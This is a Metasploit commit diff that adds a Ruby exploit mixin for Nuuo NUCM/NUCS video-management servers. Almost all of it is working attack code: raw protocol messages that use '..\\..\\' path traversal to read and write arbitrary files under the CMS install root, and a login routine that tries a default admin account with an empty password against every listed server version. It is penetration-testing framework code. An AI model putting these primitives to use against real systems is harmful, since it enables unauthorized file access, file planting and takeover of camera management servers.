Land #11289, Add Nuuo mixin
commit
d196020df1
|
@ -125,3 +125,4 @@ require 'msf/core/exploit/kerberos/client'
|
|||
|
||||
# Other
|
||||
require 'msf/core/exploit/windows_constants'
|
||||
require 'msf/core/exploit/remote/nuuo'
|
||||
|
|
|
@ -0,0 +1,196 @@
|
|||
require 'msf/core/exploit/tcp'
|
||||
|
||||
###
|
||||
#
|
||||
# This module exposes methods that may be useful to exploits that deal with
|
||||
# servers that speak Nuuo NUCM protocol for their devices and management software.
|
||||
#
|
||||
###
|
||||
module Msf
|
||||
module Exploit::Remote::Nuuo
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
#
|
||||
# Creates an instance of an Nuuo exploit module.
|
||||
#
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib@gmail.com>'
|
||||
],
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(5180),
|
||||
OptString.new('SESSION', [false, 'Session number of logged in user']),
|
||||
OptString.new('USERNAME', [false, 'Username to login as', 'admin']),
|
||||
OptString.new('PASSWORD', [false, 'Password for the specified user', '']),
|
||||
], Msf::Exploit::Remote::Nuuo)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('PROTOCOL', [ true, 'Nuuo protocol', 'NUCM/1.0']),
|
||||
])
|
||||
|
||||
@nucs_session = nil
|
||||
|
||||
# All NUCS versions at time of release
|
||||
# Note that these primitives are not guaranteed to work in all versions
|
||||
# Add new version strings here
|
||||
# We need these to login;
|
||||
# when requesting a USERLOGIN we need to send the same version as the server...
|
||||
@nucs_versions =
|
||||
[
|
||||
"1.3.1",
|
||||
"1.3.3",
|
||||
"1.5.0",
|
||||
"1.5.2",
|
||||
"1.6.0",
|
||||
"1.7.0",
|
||||
"2.1.0",
|
||||
"2.3.0",
|
||||
"2.3.1",
|
||||
"2.3.2",
|
||||
"2.4.0",
|
||||
"2.5.0",
|
||||
"2.6.0",
|
||||
"2.7.0",
|
||||
"2.8.0",
|
||||
"2.9.0",
|
||||
"2.10.0",
|
||||
"2.11.0",
|
||||
"3.0.0",
|
||||
"3.1.0",
|
||||
"3.2.0",
|
||||
"3.3.0",
|
||||
"3.4.0",
|
||||
"3.5.0"
|
||||
]
|
||||
|
||||
@nucs_version = nil
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
# Sends a protocol message aynchronously - fire and forget
|
||||
##
|
||||
def nucs_send_msg_async(msg)
|
||||
begin
|
||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
|
||||
sock.write(format_msg(msg))
|
||||
# socket cannot be closed, it causes exploits to fail...
|
||||
#sock.close
|
||||
rescue
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Sends a protocol data message synchronously - sends and returns the result
|
||||
# A data message is composed of two parts: first the message length and protocol headers,
|
||||
# then the actual data, while a non-data message only contains the first part.
|
||||
##
|
||||
def nucs_send_msg(msg, data = nil)
|
||||
ctx = { 'Msf' => framework, 'MsfExploit' => self }
|
||||
sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => rport, 'Context' => ctx })
|
||||
sock.write(format_msg(msg))
|
||||
if data != nil
|
||||
sock.write(data.to_s)
|
||||
end
|
||||
res = sock.recv(4096)
|
||||
more_data = ''
|
||||
if res =~ /Content-Length:([0-9]+)/
|
||||
data_sz = $1.to_i
|
||||
recv = 0
|
||||
while recv < data_sz
|
||||
new_data = sock.recv(4096)
|
||||
break if !new_data || new_data.length == 0
|
||||
more_data << new_data
|
||||
recv += new_data.length
|
||||
end
|
||||
end
|
||||
# socket cannot be closed, it causes exploits to fail...
|
||||
#sock.close
|
||||
return [res, more_data]
|
||||
rescue
|
||||
return ['', '']
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
# Downloads a file from the CMS install root.
|
||||
# Add the ZIP extraction and decryption routine once support for it is added to msf.
|
||||
##
|
||||
def nucs_download_file(filename, decrypt = false)
|
||||
data = nucs_send_msg(["GETCONFIG", "FileName: ..\\..\\#{filename}", "FileType: 1"])
|
||||
data[1]
|
||||
end
|
||||
|
||||
|
||||
##
|
||||
# Uploads a file to the CMS install root.
|
||||
##
|
||||
def nucs_upload_file(filename, file_data)
|
||||
data = nucs_send_msg(["COMMITCONFIG", "FileName: " + "..\\..\\#{filename}", "FileType: 1", "Content-Length: " + file_data.length.to_s], file_data)
|
||||
if data[0] =~ /200/
|
||||
true
|
||||
else
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
# logs in to the NUCS server
|
||||
# first, it tries to use the datastore SESSION if such exists
|
||||
# if not, it then tries to login using the datastore USERNAME and PASSWORD
|
||||
# In order to login properly, we need to guess the server version...
|
||||
# ... so just try all of them until we hit the right one
|
||||
def nucs_login
|
||||
if datastore['SESSION'] != nil
|
||||
# since we're logged in, we don't need to guess the version any more
|
||||
@nucs_session = datastore['SESSION']
|
||||
return
|
||||
end
|
||||
|
||||
@nucs_versions.shuffle.each do |version|
|
||||
@nucs_version = version
|
||||
|
||||
res = nucs_send_msg(
|
||||
[
|
||||
"USERLOGIN",
|
||||
"Version: #{@nucs_version}",
|
||||
"Username: #{datastore['USERNAME']}",
|
||||
"Password-Length: #{datastore['PASSWORD'].length}",
|
||||
"TimeZone-Length: 0"
|
||||
],
|
||||
datastore['PASSWORD']
|
||||
)
|
||||
|
||||
if res[0] =~ /User-Session-No: ([a-zA-Z0-9]+)/
|
||||
@nucs_session = $1
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
##
|
||||
# Formats the message we want to send into the correct protocol format
|
||||
##
|
||||
def format_msg(msg)
|
||||
final_msg = msg[0] + " #{datastore['PROTOCOL']}\r\n"
|
||||
for line in msg[1...msg.length]
|
||||
final_msg += "#{line}\r\n"
|
||||
end
|
||||
if not final_msg =~ /USERLOGIN/
|
||||
final_msg += "User-Session-No: #{@nucs_session}\r\n"
|
||||
end
|
||||
return final_msg + "\r\n"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue